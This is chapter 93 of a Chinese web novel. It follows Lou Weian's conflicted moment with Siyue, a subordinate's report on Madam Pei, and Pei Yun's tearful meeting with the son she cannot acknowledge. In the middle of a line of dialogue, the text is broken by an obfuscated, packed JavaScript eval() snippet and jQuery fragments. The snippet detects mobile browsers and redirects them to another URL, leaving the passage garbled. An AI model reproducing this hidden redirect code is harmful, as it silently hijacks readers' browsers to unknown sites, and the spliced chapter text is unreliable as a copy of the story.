93. 第 93 章

作品:《成为东清酒,我拒绝很多人

    “楼大人,既然在意,就得让对方知道。”四月的声音柔婉如丝,轻轻飘过来“在她面前演戏,漏洞百出,可没什么意思。”


    楼为桉猛地回头,眼神冷冽如冰,语气硬邦邦地反驳:“你懂什么?我是故意的!”他顿了顿,喉结滚动了一下,语气里的执拗只有他自己知道,“我就是要让她在意,让她知道你的存在,知道你我如今的‘关系’。”


    四月轻笑出声,那笑声软糯得像一团棉花,却带着刺,“可四月看到的是,楼大人你更为在意的,是虞汌侯与他那位幕僚。这不知情的,还以为那位幕僚,才是楼大人真正放在心尖上的夫人呢。”


    “闭嘴!”楼为桉被戳中心事,怒火陡然升起。


    他几步上前,一把扣住四月的脖颈,力道不算重,却带着不容置疑的威慑。那熟悉的轮廓让他心头一震,怒火瞬间被一股汹涌的思念淹没。


    他缓缓松开手,却不受控制地抚上她的脸颊。


    触感温热柔软,与记忆中东清酒的模样渐渐重叠。


    楼为桉眼神迷离,呼吸渐渐粗重,猛地将四月推至桌边,让她半躺在光滑的桌面上。红木桌面的凉意透过薄纱渗入肌肤,四月下意识地瑟缩一下,却见楼为桉俯身逼近,眼底是她从未见过的沉沦与痛苦。


    “清酒……”他低低地唤了一声,声音沙哑得不成样子,带着浓浓的鼻音,“你知道吗,我很想你。”


    四月的心猛地一沉,眼底的妩媚褪去,只剩下一片酸涩。


    她知道,他喊的从来不是自己。


    自楼为桉从乱葬岗旁将她救起,她便无可救药地爱上了这个冷峻又深情的男人。


    她清楚自己不过是个替身,是东清酒的影子,可她甘愿如此,只要能留在他身边,哪怕只是以这样的方式。


    楼为桉的吻带着灼热的温度,落在她的额间、眉梢,动作急切却又带着一丝克制。


    他总是这样,亲近她,却又在最后一刻推开她,在清醒与沉沦之间反复拉扯。


    四月闭上眼,任由他宣泄着思念,抓紧他的衣袍,仿佛要抓住这虚幻的温暖。


    不知过了多久,楼为桉猛地回过神。


    看着身下与东清酒一模一样的脸,再想到自己刚才的所作所为,一股强烈的自责涌上心头。他狠狠抽自己两巴掌,清脆的声响在安静的雅间里格外刺耳。


    “对不起!对不起!”他慌忙拉起四月肩角滑落的衣袍,小心翼翼地为她整理好,语气里满是愧疚与慌乱,“我没控制住……下次我再这样,你就打我、骂我,怎么都好,别纵容我,是我冒犯了,四月姑娘。”


    四月睁开眼,眼底带着未干的水汽。


    她伸出手,轻轻拉住他的手腕,将他的手心贴在自己的唇上,印下一个轻柔的吻。“楼大人,你可以……”她想说,你可以对我再好一点,哪怕只是逢场作戏。


    可话未说完,楼为桉便像被烫到一般缩回手,连连后退几步,语气慌乱:“不、不行,我不可以……四月姑娘,你值得更好的,我不能耽误你。”


    四月眼底的光芒瞬间黯淡下去,却依旧不肯放弃。


    她撑起身子,起身想要亲吻楼为桉的唇角,试图抓住这最后的机会。


    就在这时,“砰”的一声,房门被猛地推开。


    江渭一脸正经地闯了进来,看到眼前的景象,脸上没有丝毫尴尬,反而熟练地走上前,一把将四月从楼为桉身边扒拉开来,他的动作干脆利落,力道恰到好处,既没有伤到四月,又成功拉开了两人的距离。


    “四月姑娘,得罪了。”江渭微微颔首,语气平淡无波。


    “江渭!你干嘛!”四月踉跄着后退几步,脸颊涨得通红,又羞又气,“成心跟我过不去吗?”


    江渭没有理会她的质问,只是目光平静地看着楼为桉,仿佛在等待他的吩咐。


    四月看着他那副一本正经、公事公办的模样,只觉得一阵尴尬,再也待不下去,狠狠瞪江渭一眼,转身快步离去,裙摆扫过地面,带起一阵风。


    幽暗的密室里,烛火摇曳,映得墙壁上的暗影忽明忽暗。


    下属身着玄色劲装,躬身行礼,语气恭敬中带着难掩的疑惑,声音压得极低:“启禀少主,有个消息需即刻禀报,圣上派连衡小侯爷前往沅州调查盐税一案,实则是裴夫人特意在陛下面前求得的差事。”


    他眉头紧锁,语气愈发困惑:“这事儿说来着实蹊跷。裴夫人这次好似是一直在暗中相助咱们,先前您与东姑娘的婚约之事,她便暗中斡旋,如今又特意将亲儿子支去沅州那般偏远之地,分明是在为您扫清前路障碍,不叫小侯爷阻碍您的谋划。”


    “可裴夫人毕竟是小侯爷的亲生母亲,虎毒尚不食子,她怎会一再做出有利于我们的事?”下属抬眼看向主位上的人,眼底满是不解,“裴家的立场本就暧昧不清,裴君霖那小子行事更是深藏不露,看不清他到底是敌是友。连家的连舒自然是一心倾向连妃,立场鲜明。唯独这位裴夫人,行事莫测,实在让人摸不透她的真正意图。”


    主位上的少主摩挲着腰间的玉佩,神色沉静,烛光在他脸上投下深浅不一的光影,看不出太多情绪。


    他听着下属的禀报,良久才缓缓开口,声音低沉而有力:“裴夫人已约我见面,就在明日午后。”


    “什么?”下属一惊,随即又皱紧眉头,“裴家这是要做什么?先是裴君霖立场不明,如今裴夫人又主动邀约,他们葫芦里到底卖的什么药?”


    少主抬眸,目光锐利如刀,扫过下属焦虑的脸庞,语气平静无波:“不必多想,明日去了便知。”


    短短一句话,却带着不容置疑的笃定,瞬间安抚了下属躁动的心绪,密室里再次陷入寂静,只有烛火燃烧的噼啪声,在幽暗的空间里缓缓回荡。


    ……


    茶馆的雅间静谧清幽,为秋天添了几分萧瑟。


    裴韵端坐于桌前,杯中的茶水早已失了温度,她却浑然不觉。


    目光死死盯着门口,心跳如鼓,指尖微微发颤,她实在按捺不住,哪怕只是远远看一眼,也想再见见那个失散多年的儿子。


    门被轻轻推开,楼为桉身着墨色锦袍,身姿挺拔地走了进来。


    他脸上挂着得体的浅笑,眉眼舒展,对着裴韵拱手作揖,语气恭敬却带着一丝恰到好处的疏离:“裴夫人好。”


    裴韵猛地站起身,几乎是下意识地伸手扶住他的胳膊,那熟悉的轮廓让她眼眶瞬间泛红,强忍许久的泪水险些夺眶而出。


    她细细端详着他的脸,眉峰、眼型、鼻梁,处处都印着年少时的影子,也藏着她日思夜想的模样。


    喉间哽咽,千言万语堵在心头,最终只化作一句轻声喟叹:“是有几分像。”


    楼为桉脸上的笑容微顿,眼底闪过一丝疑惑,轻声应道:“?”


    裴韵连忙别开视线,掩饰住眼底的湿意,强压下翻涌的情绪,笑着补充道:“我说楼大人,有些像我家连衡。年轻人总是一副热血模样,做事肯上心,往往是三分心便能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145259|190547||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    付出八分力。”她刻意避开了那句“像你小时候”,把到了嘴边的思念,硬生生换成了对另一个儿子的描述。


    楼为桉瞧出她神色间的闪躲,也不再追问,收敛了眼底的疑惑,语气沉稳地直奔主题:“裴夫人此次约见晚辈,想必是有要事相告?”他心中早已存了诸多疑虑,今日前来,便是想寻一个答案。


    裴韵闻言,心头一紧。她多想立刻拉住他的手,告诉他“我是你娘亲”,多想问问他这些年过得好不好。


    可她知道,还不是时候。


    如今局势复杂,她不能贸然相认,以免给她的屹儿带来祸患。


    她只是太想见他,如今见了,便又不知该说些什么了。


    就在两人相对无言之际,楼为桉忽然开口,声音平静却带着惊雷般的力量:“裴夫人之前,是不是有个儿子叫连屹?在他小时候走丢了,便从此没了消息。”他刻意放柔了语气,可这话落在裴韵耳中,却让她浑身一僵,呼吸瞬间停滞。


    她猛地抬头看向楼为桉,眼神慌乱,带着难以置信的震惊。


    他的口音刻意模仿得平淡,可那句连屹像一把钥匙,打开她尘封多年的记忆。


    他知道了?他知道自己就是当年那个走失的连屹?无数个疑问在她心头盘旋,可看着楼为桉那双平静却深邃的眼睛,她到了嘴边的相认,终究还是咽回去。只要孩子还好好地活着,比什么都重要。


    楼为桉其实早已猜到了七八分。


    他从小便对贫民窟之前的记忆一片空白,唯独对后来的事记得格外清晰。


    这些年,他一直暗中追查自己的身世,而方才裴韵看他的眼神,那里面盛满疼惜、思念、牵挂,是他从未在楼为荣母亲眼中见过的,属于母亲看孩子的神情。


    小时候,他总羡慕旁人能得到母亲的疼爱,如今,他终于也见到了自己的母亲。


    哪怕不能相认,哪怕只能这样静静相对,他也觉得满心欢喜。脸上的笑容愈发温柔,眼底的疏离渐渐散去,只剩下纯粹的暖意。


    相聚的时光总是短暂,裴韵起身准备告辞。


    她从袖中取出一个绣工精美的香囊,香囊上绣着一株盛放的萱草,针脚细密,配色雅致,显然是她亲手绣制的。“连衡不在京都,这个便送给楼大人吧。”她把香囊递到楼为桉手中,指尖微微颤抖。


    千言万语在她心头翻涌。


    在楼家过得好不好?楼曲首有没有苛责过你?有没有人打骂过你?受了委屈有没有地方说?可到了最后,都只汇成了一句最简单也最真挚的叮嘱,声音带着不易察觉的哽咽:“好好吃饭。”


    楼为桉双手接过香囊,感受到里面传来的淡淡药香,那是母亲为孩子祈福的味道。


    他紧紧攥着香囊,仿佛握住这多年来缺失的母爱。


    对着裴韵深深鞠了一躬,语气温柔得能滴出水来:“多谢裴夫人。晚辈定会谨记教诲。”


    裴韵看着他,终究还是狠下心转身离去。走到门口时,她忍不住回头望了一眼,见楼为桉还站在原地,捧着香囊,温柔地看着她的方向。


    泪水再也忍不住,顺着脸颊滑落,她连忙抬手拭去,快步走出雅间,不敢再多看一眼,怕自己会忍不住冲回去,把所有的真相都说出来。


    他轻轻嗅嗅,那淡淡的香气萦绕鼻尖,让他心头一片暖意。哪怕不能相认,哪怕只能以这样的方式相处,他也觉得足够了。


    至少,他见到了自己的母亲,知道她还安好,知道她心里记挂着他。